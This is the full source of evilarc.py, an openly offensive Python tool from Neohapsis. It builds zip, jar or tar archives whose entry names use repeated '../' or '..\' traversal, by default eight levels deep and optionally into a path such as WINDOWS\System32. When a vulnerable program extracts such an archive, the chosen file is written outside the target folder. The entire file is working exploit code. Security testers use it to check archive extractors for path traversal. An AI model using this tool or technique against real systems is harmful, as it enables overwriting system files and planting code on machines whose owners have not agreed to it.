evilarc.py 3.6 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192
  1. #!/usr/bin/env python
  2. #
  3. # Copyright (c) 2009, Neohapsis, Inc.
  4. # All rights reserved.
  5. #
  6. # Implementation by Greg Ose and Patrick Toomey
  7. #
  8. # Redistribution and use in source and binary forms, with or without modification,
  9. # are permitted provided that the following conditions are met:
  10. #
  11. # - Redistributions of source code must retain the above copyright notice, this list
  12. # of conditions and the following disclaimer.
  13. # - Redistributions in binary form must reproduce the above copyright notice, this
  14. # list of conditions and the following disclaimer in the documentation and/or
  15. # other materials provided with the distribution.
  16. # - Neither the name of Neohapsis nor the names of its contributors may be used to
  17. # endorse or promote products derived from this software without specific prior
  18. # written permission.
  19. #
  20. # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
  21. # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
  22. # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
  23. # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
  24. # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
  25. # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
  26. # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
  27. # ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
  28. # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
  29. # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  30. import sys, zipfile, tarfile, os, optparse
  31. def main(argv=sys.argv):
  32. p = optparse.OptionParser(description = 'Create archive containing a file with directory traversal',
  33. prog = 'evilarc',
  34. version = '0.1',
  35. usage = '%prog <input file>')
  36. p.add_option('--output-file', '-f', dest="out", help="File to output archive to. Archive type is based off of file extension. Supported extensions are zip, jar, tar, tar.bz2, tar.gz, and tgz. Defaults to evil.zip.")
  37. p.set_default("out", "evil.zip")
  38. p.add_option('--depth', '-d', type="int", dest="depth", help="Number directories to traverse. Defaults to 8.")
  39. p.set_default("depth", 8)
  40. p.add_option('--os', '-o', dest="platform", help="OS platform for archive (win|unix). Defaults to win.")
  41. p.set_default("platform", "win")
  42. p.add_option('--path', '-p', dest="path", help="Path to include in filename after traversal. Ex: WINDOWS\\System32\\")
  43. p.set_default("path", "")
  44. options, arguments = p.parse_args()
  45. if len(arguments) != 1:
  46. p.error("Incorrect arguments")
  47. fname = arguments[0]
  48. if not os.path.exists(fname):
  49. sys.exit("Invalid input file")
  50. if options.platform == "win":
  51. dir = "..\\"
  52. if options.path and options.path[-1] != '\\':
  53. options.path += '\\'
  54. else:
  55. dir = "../"
  56. if options.path and options.path[-1] != '/':
  57. options.path += '/'
  58. zpath = dir*options.depth+options.path+os.path.basename(fname)
  59. print ("Creating " + options.out + " containing " + zpath);
  60. ext = os.path.splitext(options.out)[1]
  61. if os.path.exists(options.out):
  62. wmode = 'a'
  63. else:
  64. wmode = 'w'
  65. if ext == ".zip" or ext == ".jar":
  66. zf = zipfile.ZipFile(options.out, wmode)
  67. zf.write(fname, zpath)
  68. zf.close()
  69. return
  70. elif ext == ".tar":
  71. mode = wmode
  72. elif ext == ".gz" or ext == ".tgz":
  73. mode = "w:gz"
  74. elif ext == ".bz2":
  75. mode = "w:bz2"
  76. else:
  77. sys.exit("Could not identify output archive format for " + ext)
  78. tf = tarfile.open(options.out, mode)
  79. tf.add(fname, zpath)
  80. tf.close()
  81. if __name__ == '__main__':
  82. main()